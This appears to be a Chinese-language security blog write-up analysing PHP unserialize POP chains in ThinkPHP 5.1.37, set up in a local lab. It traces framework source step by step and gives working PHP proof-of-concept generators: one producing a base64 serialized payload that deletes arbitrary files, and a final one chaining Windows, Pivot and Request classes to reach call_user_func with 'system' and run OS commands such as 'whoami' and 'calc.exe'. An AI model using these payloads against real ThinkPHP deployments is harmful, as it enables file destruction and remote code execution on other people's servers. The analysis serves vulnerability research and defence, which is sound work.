0x01 环境搭建
环境
- php 7.0.9
- appache 2.4
- thinkphp 5.1.37
源码
https://github.com/top-think/framework/releases/tag/v5.1.37
https://github.com/top-think/think/releases/tag/v5.1.37
将framework改名thinkphp放到think-5.1.37
条件
必须有能够调用执行 __destruct()
的函数 因此在index页面添加了 unserialize()
函数
0x02 任意文件删除
pop链
入口点
全局搜索__destruct()
#thinkphp/library/think/process/pipes/Windows.php
public function __destruct()
{
$this->close();
$this->removeFiles();
}
跟进removeFiles()
#thinkphp/library/think/process/pipes/Windows.php
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
可以看到 $filename
是可控的 并且通过 unlink()
可以直接删除文件
构造poc
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes
{
private $files = [‘E:\\test\\1.txt‘];
}
echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEzOiJFOlx0ZXN0XDEudHh0Ijt9fQ==
利用
在E盘test目录新建文件1.txt
post数据 可以看到文件已经被删除
0x03 命令执行
pop链 1
file_exists()
在之前的 removeFiles()
方法中发现会先使用 file_exits()
函数判断文件是否存在
在使用file_exits()
函数时会执行魔法方法 __toString()
全局搜索 __toString()
在 thinkphp/library/think/model/concern/Conversion.php
找到 __toString()
#thinkphp/library/think/model/concern/Conversion.php
public function __toString()
{
return $this->toJson();
}
跟进toJson()
#thinkphp/library/think/model/concern/Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
跟进toArray()
#thinkphp/library/think/model/concern/Conversion.php
public function toArray()
{
......
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, ‘.‘)) {
......
}
}
}
return $item;
}
$append
的值为数组即可进入 getRelation()
跟进getRelation()
#thinkphp/library/think/model/concern/RelationShip.php
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
因此不用管 getRelation()
默认返回为空 进入条件
跟进getAttr()
#thinkphp/library/think/model/concern/Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
......
return $value;
}
跟进getData()
#thinkphp/library/think/model/concern/Attribute.php
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException(‘property not exists:‘ . static::class . ‘->‘ . $name);
}
因此可以得出 $relation
来自 getAttr($key)
中的 $value
来 getData()
中的 $this->data[$name]
可控
构造poc
为满足下面 $relation->visible($name);
不存在调用 __call()
方法 $data
类型为对象
为满足 if (is_array($name))
$append
类型为数组
注意
在利用链中的 Conversion , Relationship , Attribute 都是 trait ,而 Model 正好都 use 了
Model是抽象类,因此不能直接new ,需要继承了他的子类的类 如 Pivot
<?php
namespace think;
abstract class Model{}
use MongoDB\BSON\ObjectId;
class Pivot extends Model
{
protected $append = [];
private $data = [];
function __construct()
{
$this->append = [‘Th0r‘ => [args]];
$this->data = [‘Th0r‘ => Obj];
}
}
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
pop链 2
__call()
接下来需要寻找 __call()
方法 在 thinkphp/library/think/Request.php
找到
#thinkphp/library/think/Request.php
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception(‘method not exists:‘ . static::class . ‘->‘ . $method);
}
可以看到有 call_user_func_array()
方法 并且 $method
是可控的
但是内容 $args
不可控 array_unshift() 函数用于向数组插入新元素。新数组的值将被插入到数组的开头。
找到input()
think\Request
类中的 input()
方法 是一个不错的利用点,相当于call_user_func($filter,$data)
#thinkphp/library/think/Request.php
public function input($data = [], $name = ‘‘, $default = null, $filter = ‘‘)
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if (‘‘ != $name) {
// 解析name
if (strpos($name, ‘/‘)) {
list($name, $type) = explode(‘/‘, $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, ‘filterValue‘], $filter);
if (version_compare(PHP_VERSION, ‘7.1.0‘, ‘<‘)) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
当 ‘‘ == $name
时 不满足条件 当 $data
不为数组时 执行 filterValue()
方法
跟进filterValue()
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
这里 $filter
是可控的 但是 $value
并不是 已经被写死为一个固定的类对象,再在 input()
方法中使用 $name = (string) $name;
是会导致出错的 因此寻找其他同样使用了 input()
并且 $date
可控的方法
找到param()
全局查找到param方法
#thinkphp/library/think/Request.php
public function param($name = ‘‘, $default = null, $filter = ‘‘)
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case ‘POST‘:
$vars = $this->post(false);
break;
case ‘PUT‘:
case ‘DELETE‘:
case ‘PATCH‘:
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, ‘‘, $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
这里$param
是完全可控的 因此 也就是 input()
的 $data
也是可控的 相当于 call_user_func
的$value
可控了
现在需要满足 $name
为字符串 查找
调用了 param()
方法 的方法
找到isAjax()
#thinkphp/library/think/Request.php
public function isAjax($ajax = false)
{
$value = $this->server(‘HTTP_X_REQUESTED_WITH‘);
$result = ‘xmlhttprequest‘ == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config[‘var_ajax‘]) ? true : $result;
$this->mergeParam = false;
return $result;
}
其中 $this->config[‘var_ajax‘]
可控 因此 param
函数中的 $name
可控
构造poc
总结一下就是 isAjax()的$this->config[‘var_ajax‘] -> param()的$name -> input()的$name 为字符串
param()的$this->param -> input()的$data -> filterValue()的$data ->call_user_func()的$value 为参数
filterValue()的$filter -> input()的$filter -> filterValue()的$filter -> call_user_func()的$filter 为方法
namespace think;
class Request
{
protected $hook = [];
protected $config = [];
protected $filter;
protected $param = [];
public function __construct(){
$this->filter = ‘system‘;
$this->param = [‘whoami‘];
$this->hook = [‘visible‘=>[$this,‘isAjax‘]];
$this->config = [‘var_ajax‘ => ‘‘];
}
}
最终poc
<?php
namespace think;
use think\facade\Cookie;
use think\facade\Session;
class Request
{
protected $hook = [];
protected $config = [];
protected $filter;
protected $param = [];
public function __construct(){
$this->filter = ‘system‘;
$this->param = [‘calc.exe‘];
$this->hook = [‘visible‘=>[$this,‘isAjax‘]];
$this->config = [‘var_ajax‘ => ‘‘];
}
}
abstract class Model{
protected $append = [];
private $data = [];
function __construct()
{
$this->append = [‘Th0r‘ => [‘a‘]];
$this->data = [‘Th0r‘ => new Request()];
}
}
namespace think\model;
use think\Model;
use think\Request;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
echo base64_encode(serialize(new Windows()));
0x04 注意点
- 定义值应该在本身调用的类里 而不能再继承的类里
- 在生成payload时在命名空间类创建对象应该先use